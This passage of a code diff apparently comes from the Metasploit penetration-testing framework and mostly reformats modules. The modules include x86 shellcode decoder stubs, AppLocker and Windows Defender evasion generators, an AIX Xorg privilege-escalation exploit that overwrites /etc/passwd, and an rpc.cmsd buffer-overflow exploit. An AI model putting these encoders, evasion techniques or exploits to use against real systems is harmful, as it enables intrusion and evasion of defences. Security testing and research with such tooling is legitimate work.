"\xe2" + [ -2 - b.size_of(loop_block) ].pack('c') + # }) # Define block dependencies clear_register.depends_on(getpc) @@ -290,24 +294,29 @@ def saved_registers end def sub_immediate(regnum, imm) - return "" if imm.nil? or imm == 0 - if imm > 255 or imm < -255 + return '' if imm.nil? || (imm == 0) + + if (imm > 255) || (imm < -255) "\x81" + (0xe8 + regnum).chr + [imm].pack('V') else "\x83" + (0xe8 + regnum).chr + [imm].pack('c') end end + def add_immediate(regnum, imm) - return "" if imm.nil? or imm == 0 - if imm > 255 or imm < -255 + return '' if imm.nil? || (imm == 0) + + if (imm > 255) || (imm < -255) "\x81" + (0xc0 + regnum).chr + [imm].pack('V') else "\x83" + (0xc0 + regnum).chr + [imm].pack('c') end end + def inc(regnum) [0x40 + regnum].pack('C') end + def dec(regnum) [0x48 + regnum].pack('C') end diff --git a/modules/encoders/x86/single_static_bit.rb b/modules/encoders/x86/single_static_bit.rb index ba531f66481d0..b434743ca93c2 100644 --- a/modules/encoders/x86/single_static_bit.rb +++ b/modules/encoders/x86/single_static_bit.rb @@ -18,12 +18,12 @@ class MetasploitModule < Msf::Encoder def initialize super( - 'Name' => 'Single Static Bit', - 'Description' => 'Static value for specific bit', - 'Author' => 'jduck', - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'EncoderType' => Msf::Encoder::Type::SingleStaticBit + 'Name' => 'Single Static Bit', + 'Description' => 'Static value for specific bit', + 'Author' => 'jduck', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'EncoderType' => Msf::Encoder::Type::SingleStaticBit ) # this shouldn't be present in the decoder stub. @@ -35,9 +35,8 @@ def initialize # the buffer being encoded # def decoder_stub(state) - bit_num = (datastore['BitNumber'] || 5).to_i - bit_val = (datastore['BitValue'] || true) + datastore['BitValue'] || true # variables: # bit to ignore (global - hardcoded) @@ -48,7 +47,7 @@ def decoder_stub(state) # number of bits accumulated (global - ebp) ? # current source byte (outer - al) # bit index (for this byte) (inner - cl) ? - pre_init = "" + pre_init = '' pre_init << "\x31\xed" # xor ebp, ebp - no bits accumulated pre_init << "\x83\xe1\x01" # and ecx, $0x1 - init inner loop counter (set to 0/1) pre_init << "\x83\xe3\x01" # and ebx, $0x1 - init buffer length @@ -56,7 +55,7 @@ def decoder_stub(state) pre_init << "\x66\x81\xf3" + [@key_marker].pack('v') # - xor decrypt buffer length # we stored an entire byte, move to the next one - next_byte = "" + next_byte = '' next_byte << "\x83\xef\xff" # sub edi, 0xffffffff - increment dst pointer next_byte << "\x31\xed" # xor ebp, ebp - no bits accumulated @@ -65,14 +64,14 @@ def decoder_stub(state) # # ecx-1 - bit number to extract # al - byte to extract it from - get_a_bit = "" + get_a_bit = '' get_a_bit << "\x60" # pusha - save all registers get_a_bit << "\x83\xe9\x01" # sub ecx, 1 - account for 1-based counting get_a_bit << "\x74\x06" # jz +6 - skip dividing if bit zero get_a_bit << "\xb3\x02" # mov bl, 2 - set divisor to 2 # divide_it: - get_a_bit << "\xf6\xf3" # div bl - do the division - get_a_bit << "\xe2" + [-1 * (2+2)].pack('C') # - divide again.. + get_a_bit << "\xf6\xf3" # div bl - do the division + get_a_bit << "\xe2" + [-1 * (2 + 2)].pack('C') # - divide again.. # store_bit: get_a_bit << "\x83\xe0\x01" # and eax, 0x01 - we only want the lowest bit get_a_bit << "\x6b\x2f\x02" # imul ebp, 2, [edi] - load [edi], shifted left by 1, to ebp @@ -81,49 +80,49 @@ def decoder_stub(state) get_a_bit << "\x61" # popa - restore previous ebx/eax get_a_bit << "\x83\xed\xff" # sub ebp, 0xffffffff - increment bits stored - inner_init = "" - inner_init << "\xb1\x08" # mov cl, $0x8 - init loop counter + inner_init = '' + inner_init << "\xb1\x08" # mov cl, $0x8 - init loop counter - inner_loop = "" + inner_loop = '' # process_bits: - inner_loop << "\x80\xf9" # cmp cl, - is this the one to ignore? - inner_loop << [(bit_num+1)].pack('C') + inner_loop << "\x80\xf9" # cmp cl, - is this the one to ignore? + inner_loop << [(bit_num + 1)].pack('C') len = get_a_bit.length + 3 + 2 + next_byte.length - inner_loop << "\x74" + [len].pack('C') # - je next_bit + inner_loop << "\x74" + [len].pack('C') # - je next_bit inner_loop << get_a_bit - inner_loop << "\x83\xfd\x08" # cmp ebp, $0x8 - got 8 bits now? - inner_loop << "\x75" + [next_byte.length].pack('C') # - jne to next_bit + inner_loop << "\x83\xfd\x08" # cmp ebp, $0x8 - got 8 bits now? + inner_loop << "\x75" + [next_byte.length].pack('C') # - jne to next_bit # next_dst_byte: inner_loop << next_byte # next_bit: # I really wish this silly padding wasn't necessary, however removing the bad characters in the # jump/call displacements has proven difficult otherwise. - inner_loop << "\x90" * 0x1a # nops - for padding (so relative jumps don't have badchars) - len = -1 * (inner_loop.length+2) - inner_loop << "\xe2" + [len].pack('C') # - loop process_bits + inner_loop << "\x90" * 0x1a # nops - for padding (so relative jumps don't have badchars) + len = -1 * (inner_loop.length + 2) + inner_loop << "\xe2" + [len].pack('C') # - loop process_bits # prefixed by: # jmp data_beg_call - outer_init = "" + outer_init = '' # get_data_beg: outer_init << "\x5e" # pop esi - ptr to beginning of data outer_init << pre_init outer_init << "\x89\xf7" # mov edi, esi - decode in place, init dst ptr - outer_loop = "" - #outer_loop << "\x90" * (0xd+6) + outer_loop = '' + # outer_loop << "\x90" * (0xd+6) outer_loop << "\x83\xe0\x7f" # and eax, 0x7f - we only want the low byte outer_loop << "\xac" # lods al, [esi] - load src byte outer_loop << inner_init << inner_loop outer_loop << "\x83\xeb\x01" # sub ebx, 1 - 1 byte down! outer_loop << "\x74\x07" # jz +(2+5) - jump to data! - len = -1 * (outer_loop.length+2) + len = -1 * (outer_loop.length + 2) # next_byte: - outer_loop << "\xeb" + [len].pack('C') # - jmp process_byte + outer_loop << "\xeb" + [len].pack('C') # - jmp process_byte # data_beg_call: decoder = outer_init + outer_loop jmp = "\xeb" + [decoder.length].pack('C') - call = "\xe8" + [-1 * (decoder.length+5)].pack('V') + call = "\xe8" + [-1 * (decoder.length + 5)].pack('V') decoder = jmp + decoder + call # encoded sled @@ -132,18 +131,17 @@ def decoder_stub(state) return decoder end - def encode_block(state, block) + def encode_block(_state, block) bit_num = (datastore['BitNumber'] || 5).to_i - bit_num = (7-bit_num) - bit_val = (datastore['BitValue'] || true) + bit_num = (7 - bit_num) + bit_val = datastore['BitValue'] || true encoded = '' new_byte = 0 nbits = 0 block.unpack('C*').each do |ch| - 7.step(0,-1) do |x| - + 7.step(0, -1) do |x| # is this the special bit? if (nbits == bit_num) new_byte <<= 1 if nbits > 0 @@ -176,7 +174,7 @@ def encode_block(state, block) if nbits > 0 while nbits < 8 new_byte <<= 1 - new_byte |= 1 if (nbits == bit_num) and bit_val + new_byte |= 1 if (nbits == bit_num) && bit_val nbits += 1 end encoded << new_byte.chr @@ -200,6 +198,7 @@ def encode_end(state) enc_len_str = [state.encoded.length ^ xor_key].pack('v') next if has_badchars?(xor_key_str, state.badchars) next if has_badchars?(enc_len_str, state.badchars) + break end diff --git a/modules/encoders/x86/unicode_mixed.rb b/modules/encoders/x86/unicode_mixed.rb index e2c884d80de48..c46f1c66dcbf8 100644 --- a/modules/encoders/x86/unicode_mixed.rb +++ b/modules/encoders/x86/unicode_mixed.rb @@ -19,10 +19,9 @@ def initialize 'Arch' => ARCH_X86, 'License' => BSD_LICENSE, 'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed, - 'Decoder' => - { - 'BlockSize' => 1 - }) + 'Decoder' => { + 'BlockSize' => 1 + }) register_options( [ OptString.new('BufferRegister', [true, 'The register that points to the encoded payload', 'ECX']) diff --git a/modules/encoders/x86/unicode_upper.rb b/modules/encoders/x86/unicode_upper.rb index 34eb8105f9e8b..c52cbe3d9f9d7 100644 --- a/modules/encoders/x86/unicode_upper.rb +++ b/modules/encoders/x86/unicode_upper.rb @@ -19,10 +19,9 @@ def initialize 'Arch' => ARCH_X86, 'License' => BSD_LICENSE, 'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeUpper, - 'Decoder' => - { - 'BlockSize' => 1 - }) + 'Decoder' => { + 'BlockSize' => 1 + }) register_options( [ OptString.new('BufferRegister', [true, 'The register that points to the encoded payload', 'ECX']) diff --git a/modules/encoders/x86/xor_dynamic.rb b/modules/encoders/x86/xor_dynamic.rb index 9c0d0582e146f..bab491d044647 100644 --- a/modules/encoders/x86/xor_dynamic.rb +++ b/modules/encoders/x86/xor_dynamic.rb @@ -7,11 +7,11 @@ class MetasploitModule < Msf::Encoder::XorDynamic def initialize super( - 'Name' => 'Dynamic key XOR Encoder', - 'Description' => 'An x86 XOR encoder with dynamic key size', - 'Author' => [ 'lupman', 'phra' ], - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE + 'Name' => 'Dynamic Key XOR Encoder', + 'Description' => 'An x86 XOR encoder with dynamic key size', + 'Author' => [ 'lupman', 'phra' ], + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE ) end @@ -24,26 +24,26 @@ def can_preserve_registers? end def stub - "\xeb\x23" + # jmp _call - "\x5b" + # _ret: pop ebx - "\x89\xdf" + # mov edi, ebx - "\xb0\x41" + # mov al, 'A' - "\xfc" + # cld - "\xae" + # _lp1: scas al, BYTE PTR es:[edi] - "\x75\xfd" + # jne _lp1 - "\x89\xf9" + # mov ecx, edi - "\x89\xde" + # _lp2: mov esi, ebx - "\x8a\x06" + # _lp3: mov al, BYTE PTR [esi] - "\x30\x07" + # xor BYTE PTR [edi], al - "\x47" + # inc edi - "\x66\x81\x3f\x42\x42" + # cmp WORD PTR [edi], 'BB' - "\x74\x08" + # je _jmp - "\x46" + # inc esi - "\x80\x3e\x41" + # cmp BYTE PTR [esi], 'A' - "\x75\xee" + # jne _lp3 - "\xeb\xea" + # jmp _lp2 - "\xff\xe1" + # _jmp: jmp ecx - "\xe8\xd8\xff\xff\xff" # _call: call _ret + "\xeb\x23" + # jmp _call + "\x5b" + # _ret: pop ebx + "\x89\xdf" + # mov edi, ebx + "\xb0\x41" + # mov al, 'A' + "\xfc" + # cld + "\xae" + # _lp1: scas al, BYTE PTR es:[edi] + "\x75\xfd" + # jne _lp1 + "\x89\xf9" + # mov ecx, edi + "\x89\xde" + # _lp2: mov esi, ebx + "\x8a\x06" + # _lp3: mov al, BYTE PTR [esi] + "\x30\x07" + # xor BYTE PTR [edi], al + "\x47" + # inc edi + "\x66\x81\x3f\x42\x42" + # cmp WORD PTR [edi], 'BB' + "\x74\x08" + # je _jmp + "\x46" + # inc esi + "\x80\x3e\x41" + # cmp BYTE PTR [esi], 'A' + "\x75\xee" + # jne _lp3 + "\xeb\xea" + # jmp _lp2 + "\xff\xe1" + # _jmp: jmp ecx + "\xe8\xd8\xff\xff\xff" # _call: call _ret end def stub_key_term diff --git a/modules/evasion/windows/applocker_evasion_install_util.rb b/modules/evasion/windows/applocker_evasion_install_util.rb index f29410c9a8f00..29d42a0ca797e 100644 --- a/modules/evasion/windows/applocker_evasion_install_util.rb +++ b/modules/evasion/windows/applocker_evasion_install_util.rb @@ -5,25 +5,26 @@ class MetasploitModule < Msf::Evasion - def initialize(info={}) - super(update_info(info, - 'Name' => 'Applocker Evasion - .NET Framework Installation Utility', - 'Description' => %q( - This module will assist you in evading Microsoft Windows - Applocker and Software Restriction Policies. - This technique utilises the Microsoft signed binary - InstallUtil.exe to execute user supplied code. - ), - 'Author' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Applocker Evasion - .NET Framework Installation Utility', + 'Description' => %q{ + This module will assist you in evading Microsoft Windows + Applocker and Software Restriction Policies. + This technique utilises the Microsoft signed binary + InstallUtil.exe to execute user supplied code. + }, + 'Author' => [ 'Nick Tyrer <@NickTyrer>', # module development 'Casey Smith' # install_util bypass research ], - 'License' => 'MSF_LICENSE', - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Targets' => [['Microsoft Windows', {}]], - 'References' => [['URL', 'https://attack.mitre.org/techniques/T1118/']] + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Microsoft Windows', {}]], + 'References' => [['URL', 'https://attack.mitre.org/techniques/T1118/']] ) ) diff --git a/modules/evasion/windows/applocker_evasion_msbuild.rb b/modules/evasion/windows/applocker_evasion_msbuild.rb index d284cdaebe300..e37d9019d21a0 100644 --- a/modules/evasion/windows/applocker_evasion_msbuild.rb +++ b/modules/evasion/windows/applocker_evasion_msbuild.rb @@ -6,24 +6,26 @@ class MetasploitModule < Msf::Evasion def initialize(info = {}) - super(update_info(info, - 'Name' => 'Applocker Evasion - MSBuild', - 'Description' => %( - This module will assist you in evading Microsoft - Windows Applocker and Software Restriction Policies. - This technique utilises the Microsoft signed binary - MSBuild.exe to execute user supplied code. - ), - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'Applocker Evasion - MSBuild', + 'Description' => %q{ + This module will assist you in evading Microsoft + Windows Applocker and Software Restriction Policies. + This technique utilises the Microsoft signed binary + MSBuild.exe to execute user supplied code. + }, + 'Author' => [ 'Nick Tyrer <@NickTyrer>', # module development 'Casey Smith' # msbuild bypass research ], - 'License' => 'MSF_LICENSE', - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Targets' => [['Microsoft Windows', {}]], - 'References' => [['URL', 'https://attack.mitre.org/techniques/T1127/']]) + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Microsoft Windows', {}]], + 'References' => [['URL', 'https://attack.mitre.org/techniques/T1127/']] + ) ) register_options( diff --git a/modules/evasion/windows/applocker_evasion_presentationhost.rb b/modules/evasion/windows/applocker_evasion_presentationhost.rb index 550468c4a24a9..01c659d8c6480 100644 --- a/modules/evasion/windows/applocker_evasion_presentationhost.rb +++ b/modules/evasion/windows/applocker_evasion_presentationhost.rb @@ -6,23 +6,25 @@ class MetasploitModule < Msf::Evasion def initialize(info = {}) - super(update_info(info, - 'Name' => 'Applocker Evasion - Windows Presentation Foundation Host', - 'Description' => %( - This module will assist you in evading Microsoft - Windows Applocker and Software Restriction Policies. - This technique utilises the Microsoft signed binary - PresentationHost.exe to execute user supplied code. - ), - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'Applocker Evasion - Windows Presentation Foundation Host', + 'Description' => %q{ + This module will assist you in evading Microsoft + Windows Applocker and Software Restriction Policies. + This technique utilises the Microsoft signed binary + PresentationHost.exe to execute user supplied code. + }, + 'Author' => [ 'Nick Tyrer <@NickTyrer>', # module development 'Casey Smith' # presentationhost bypass research ], - 'License' => 'MSF_LICENSE', - 'Platform' => 'win', - 'Arch' => [ARCH_X86], - 'Targets' => [['Microsoft Windows', {}]]) + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => [ARCH_X86], + 'Targets' => [['Microsoft Windows', {}]] + ) ) register_options( diff --git a/modules/evasion/windows/applocker_evasion_regasm_regsvcs.rb b/modules/evasion/windows/applocker_evasion_regasm_regsvcs.rb index cc80db2181e2e..c2797fec10ab2 100644 --- a/modules/evasion/windows/applocker_evasion_regasm_regsvcs.rb +++ b/modules/evasion/windows/applocker_evasion_regasm_regsvcs.rb @@ -6,24 +6,26 @@ class MetasploitModule < Msf::Evasion def initialize(info = {}) - super(update_info(info, - 'Name' => 'Applocker Evasion - Microsoft .NET Assembly Registration Utility', - 'Description' => %( - This module will assist you in evading Microsoft - Windows Applocker and Software Restriction Policies. - This technique utilises the Microsoft signed binaries - RegAsm.exe or RegSvcs.exe to execute user supplied code. - ), - 'Author' => - [ - 'Nick Tyrer <@NickTyrer>', # module development - 'Casey Smith' # regasm_regsvcs bypass research - ], - 'License' => 'MSF_LICENSE', - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Targets' => [['Microsoft Windows', {}]], - 'References' => [['URL', 'https://attack.mitre.org/techniques/T1121/']]) + super( + update_info( + info, + 'Name' => 'Applocker Evasion - Microsoft .NET Assembly Registration Utility', + 'Description' => %q{ + This module will assist you in evading Microsoft + Windows Applocker and Software Restriction Policies. + This technique utilises the Microsoft signed binaries + RegAsm.exe or RegSvcs.exe to execute user supplied code. + }, + 'Author' => [ + 'Nick Tyrer <@NickTyrer>', # module development + 'Casey Smith' # regasm_regsvcs bypass research + ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Microsoft Windows', {}]], + 'References' => [['URL', 'https://attack.mitre.org/techniques/T1121/']] + ) ) register_options( diff --git a/modules/evasion/windows/applocker_evasion_workflow_compiler.rb b/modules/evasion/windows/applocker_evasion_workflow_compiler.rb index a7c8f619a6f36..62a97bb9b4729 100644 --- a/modules/evasion/windows/applocker_evasion_workflow_compiler.rb +++ b/modules/evasion/windows/applocker_evasion_workflow_compiler.rb @@ -6,24 +6,28 @@ class MetasploitModule < Msf::Evasion def initialize(info = {}) - super(update_info(info, - 'Name' => 'Applocker Evasion - Microsoft Workflow Compiler', - 'Description' => %( - This module will assist you in evading Microsoft - Windows Applocker and Software Restriction Policies. - This technique utilises the Microsoft signed binaries - Microsoft.Workflow.Compiler.exe to execute user supplied code. - ), - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'Applocker Evasion - Microsoft Workflow Compiler', + 'Description' => %q{ + This module will assist you in evading Microsoft + Windows Applocker and Software Restriction Policies. + This technique utilises the Microsoft signed binaries + Microsoft.Workflow.Compiler.exe to execute user supplied code. + }, + 'Author' => [ 'Nick Tyrer <@NickTyrer>', # module development 'Matt Graeber' # workflow_compiler bypass research ], - 'License' => 'MSF_LICENSE', - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Targets' => [['Microsoft Windows', {}]], - 'References' => [['URL', 'https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb']]) + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Microsoft Windows', {}]], + 'References' => [ + ['URL', 'https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb'] + ] + ) ) register_options( diff --git a/modules/evasion/windows/windows_defender_exe.rb b/modules/evasion/windows/windows_defender_exe.rb index 7c0c1499aa5ec..1e36808c61af2 100644 --- a/modules/evasion/windows/windows_defender_exe.rb +++ b/modules/evasion/windows/windows_defender_exe.rb @@ -7,24 +7,27 @@ class MetasploitModule < Msf::Evasion - def initialize(info={}) - super(merge_info(info, - 'Name' => 'Microsoft Windows Defender Evasive Executable', - 'Description' => %q{ - This module allows you to generate a Windows EXE that evades against Microsoft - Windows Defender. Multiple techniques such as shellcode encryption, source code - obfuscation, Metasm, and anti-emulation are used to achieve this. + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Microsoft Windows Defender Evasive Executable', + 'Description' => %q{ + This module allows you to generate a Windows EXE that evades against Microsoft + Windows Defender. Multiple techniques such as shellcode encryption, source code + obfuscation, Metasm, and anti-emulation are used to achieve this. - For best results, please try to use payloads that use a more secure channel - such as HTTPS or RC4 in order to avoid the payload network traffic getting - caught by antivirus better. - }, - 'Author' => [ 'sinn3r' ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Targets' => [ ['Microsoft Windows', {}] ] - )) + For best results, please try to use payloads that use a more secure channel + such as HTTPS or RC4 in order to avoid the payload network traffic getting + caught by antivirus better. + }, + 'Author' => [ 'sinn3r' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => [ ['Microsoft Windows', {}] ] + ) + ) end def rc4_key @@ -32,7 +35,7 @@ def rc4_key end def get_payload - @c_payload ||= lambda { + @get_payload ||= lambda { opts = { format: 'rc4', key: rc4_key } junk = Rex::Text.rand_text(10..1024) p = payload.encoded + junk @@ -45,7 +48,7 @@ def get_payload end def c_template - @c_template ||= %Q|#include + @c_template ||= %|#include #include // The encrypted code allows us to get around static scanning diff --git a/modules/evasion/windows/windows_defender_js_hta.rb b/modules/evasion/windows/windows_defender_js_hta.rb index 160d9dcf232a5..a15f4296c3e66 100644 --- a/modules/evasion/windows/windows_defender_js_hta.rb +++ b/modules/evasion/windows/windows_defender_js_hta.rb @@ -5,35 +5,38 @@ class MetasploitModule < Msf::Evasion - def initialize(info={}) - super(merge_info(info, - 'Name' => 'Microsoft Windows Defender Evasive JS.Net and HTA', - 'Description' => %q{ - This module will generate an HTA file that writes and compiles a JScript.NET file - containing shellcode on the target machine. After compilation, the generated EXE will - execute the shellcode without interference from Windows Defender. + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Microsoft Windows Defender Evasive JS.Net and HTA', + 'Description' => %q{ + This module will generate an HTA file that writes and compiles a JScript.NET file + containing shellcode on the target machine. After compilation, the generated EXE will + execute the shellcode without interference from Windows Defender. - It is recommended that you use a payload that uses RC4 or HTTPS for best experience. - }, - 'Author' => - [ - 'sinmygit', # PoC - 'Shelby Pace' # Metasploit Module + It is recommended that you use a payload that uses RC4 or HTTPS for best experience. + }, + 'Author' => [ + 'sinmygit', # PoC + 'Shelby Pace' # Metasploit Module ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X64, - 'Targets' => [ [ 'Microsoft Windows', {} ] ] - )) + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X64, + 'Targets' => [ [ 'Microsoft Windows', {} ] ] + ) + ) register_options([ OptString.new( 'FILENAME', - [ - true, - 'Filename for the evasive file (default: random)', - "#{Rex::Text.rand_text_alpha(3..10)}.hta" - ]) + [ + true, + 'Filename for the evasive file (default: random)', + "#{Rex::Text.rand_text_alpha(3..10)}.hta" + ] + ) ]) end @@ -43,15 +46,15 @@ def run evasion_shellcode_path = File.join(Msf::Config.data_directory, 'exploits', 'evasion_shellcode.js') jsnet_code = File.read(evasion_shellcode_path) fail_with(Failure::NotFound, 'The JScript.NET file was not found.') unless File.exist?(evasion_shellcode_path) - js_file = ERB.new(jsnet_code).result(binding()) + js_file = ERB.new(jsnet_code).result(binding) jsnet_encoded = Rex::Text.encode_base64(js_file) # This is used in the ERB template fname = Rex::Text.rand_text_alpha(6) - arch = ["x86", "x64"].include?(payload.arch.first) ? payload.arch.first : "anycpu" + arch = ['x86', 'x64'].include?(payload.arch.first) ? payload.arch.first : 'anycpu' hta_path = File.join(Msf::Config.data_directory, 'exploits', 'hta_evasion.hta') hta = File.read(hta_path) fail_with(Failure::NotFound, 'The HTA file was not found.') unless File.exist?(hta_path) - hta_file = ERB.new(hta).result(binding()) + hta_file = ERB.new(hta).result(binding) file_create(hta_file) end end diff --git a/modules/exploits/aix/local/invscout_rpm_priv_esc.rb b/modules/exploits/aix/local/invscout_rpm_priv_esc.rb index 97b61ea7de6d1..3f52b768e8862 100644 --- a/modules/exploits/aix/local/invscout_rpm_priv_esc.rb +++ b/modules/exploits/aix/local/invscout_rpm_priv_esc.rb @@ -31,7 +31,7 @@ def initialize(info = {}) ], 'References' => [ ['CVE', '2023-28528'], - ['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2023-1691'], + ['URL', 'http://web.archive.org/web/20250117163943/https://talosintelligence.com/vulnerability_reports/TALOS-2023-1691'], ], 'Platform' => %w[unix aix], 'Arch' => ARCH_CMD, diff --git a/modules/exploits/aix/local/xorg_x11_server.rb b/modules/exploits/aix/local/xorg_x11_server.rb index 3dfe09a093c66..9c6fb66a4d37f 100644 --- a/modules/exploits/aix/local/xorg_x11_server.rb +++ b/modules/exploits/aix/local/xorg_x11_server.rb @@ -10,65 +10,67 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::FileDropper def initialize(info = {}) - super(update_info(info, - 'Name' => 'Xorg X11 Server Local Privilege Escalation', - 'Description' => %q( - WARNING: Successful execution of this module results in /etc/passwd being overwritten. - - This module is a port of the OpenBSD X11 Xorg exploit to run on AIX. - - A permission check flaw exists for -modulepath and -logfile options when - starting Xorg. This allows unprivileged users that can start the server - the ability to elevate privileges and run arbitrary code under root - privileges. - - This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1. - Due to permission restrictions of the crontab in AIX, this module does not use cron, - and instead overwrites /etc/passwd in order to create a new user with root privileges. - All currently logged in users need to be included when /etc/passwd is overwritten, - else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user. - The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX, - and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when - overwriting /etc/passwd. - ), - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'Xorg X11 Server Local Privilege Escalation', + 'Description' => %q{ + WARNING: Successful execution of this module results in /etc/passwd being overwritten. + + This module is a port of the OpenBSD X11 Xorg exploit to run on AIX. + + A permission check flaw exists for -modulepath and -logfile options when + starting Xorg. This allows unprivileged users that can start the server + the ability to elevate privileges and run arbitrary code under root + privileges. + + This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1. + Due to permission restrictions of the crontab in AIX, this module does not use cron, + and instead overwrites /etc/passwd in order to create a new user with root privileges. + All currently logged in users need to be included when /etc/passwd is overwritten, + else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user. + The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX, + and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when + overwriting /etc/passwd. + }, + 'Author' => [ 'Narendra Shinde', # Discovery and original FreeBSD exploit 'Zack Flack ' # Metasploit module and original AIX exploit ], - 'License' => MSF_LICENSE, - 'DisclosureDate' => '2018-10-25', - 'Notes' => - { - 'SideEffects' => [ CONFIG_CHANGES ] + 'License' => MSF_LICENSE, + 'DisclosureDate' => '2018-10-25', + 'Notes' => { + 'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK ], + 'Reliability' => [ UNRELIABLE_SESSION ], + 'Stability' => [ CRASH_SERVICE_DOWN ] }, - 'References' => - [ + 'References' => [ ['CVE', '2018-14665'], ['URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html'], ['URL', 'https://aix.software.ibm.com/aix/efixes/security/xorg_advisory3.asc'], ['URL', 'https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl'], ['EDB', '45938'] ], - 'Platform' => ['unix'], - 'Arch' => [ARCH_CMD], - 'SessionTypes' => ['shell'], - 'Payload' => { - 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'perl' - } - }, - 'DefaultOptions' => { - 'Payload' => 'cmd/unix/reverse_perl' - }, - 'Targets' => - [ + 'Platform' => ['unix'], + 'Arch' => [ARCH_CMD], + 'SessionTypes' => ['shell'], + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl' + } + }, + 'DefaultOptions' => { + 'Payload' => 'cmd/unix/reverse_perl' + }, + 'Targets' => [ ['IBM AIX Version 6.1', {}], ['IBM AIX Version 7.1', {}], ['IBM AIX Version 7.2', {}] ], - 'DefaultTarget' => 1)) + 'DefaultTarget' => 1 + ) + ) register_options( [ diff --git a/modules/exploits/aix/rpc_cmsd_opcode21.rb b/modules/exploits/aix/rpc_cmsd_opcode21.rb index aff82d785cff1..75e68e40d4df1 100644 --- a/modules/exploits/aix/rpc_cmsd_opcode21.rb +++ b/modules/exploits/aix/rpc_cmsd_opcode21.rb @@ -10,70 +10,73 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Brute def initialize(info = {}) - super(update_info(info, - 'Name' => 'AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow', + 'Description' => %q{ This module exploits a buffer overflow vulnerability in opcode 21 handled by - rpc.cmsd on AIX. By making a request with a long string passed to the first - argument of the "rtable_create" RPC, a stack based buffer overflow occurs. This - leads to arbitrary code execution. + rpc.cmsd on AIX. By making a request with a long string passed to the first + argument of the "rtable_create" RPC, a stack based buffer overflow occurs. This + leads to arbitrary code execution. - NOTE: Unsuccessful attempts may cause inetd/portmapper to enter a state where - further attempts are not possible. - }, - 'Author' => - [ + NOTE: Unsuccessful attempts may cause inetd/portmapper to enter a state where + further attempts are not possible. + }, + 'Author' => [ 'Rodrigo Rubira Branco (BSDaemon)', 'jduck', ], - 'References' => - [ + 'References' => [ [ 'CVE', '2009-3699' ], [ 'OSVDB', '58726' ], [ 'BID', '36615' ], [ 'URL', 'https://web.archive.org/web/20091013155835/http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=825' ], [ 'URL', 'https://web.archive.org/web/20221204155746/http://aix.software.ibm.com/aix/efixes/security/cmsd_advisory.asc' ] ], - 'Platform' => [ 'aix' ], - 'Payload' => - { + 'Platform' => [ 'aix' ], + 'Payload' => { 'Space' => 4104, 'BadChars' => "\x00", # The RPC function splits the string by 0x40, watch out! # It's not a payload badchar since we're putting the payload elsewhere... 'DisableNops' => true }, - 'Targets' => - [ + 'Targets' => [ [ 'IBM AIX Version 5.1', { - 'Arch' => 'ppc', + 'Arch' => 'ppc', 'Platform' => 'aix', - 'AIX' => '5.1', + 'AIX' => '5.1', 'Bruteforce' => { 'Start' => { 'Ret' => 0x2022dfc8 }, - #worked on ibmoz - 'Start' => { 'Ret' => 0x2022e8c8 }, - 'Stop' => { 'Ret' => 0x202302c8 }, - 'Step' => 600 + # worked on ibmoz - 'Start' => { 'Ret' => 0x2022e8c8 }, + 'Stop' => { 'Ret' => 0x202302c8 }, + 'Step' => 600 } } ], ], - 'DefaultTarget' => 0, - 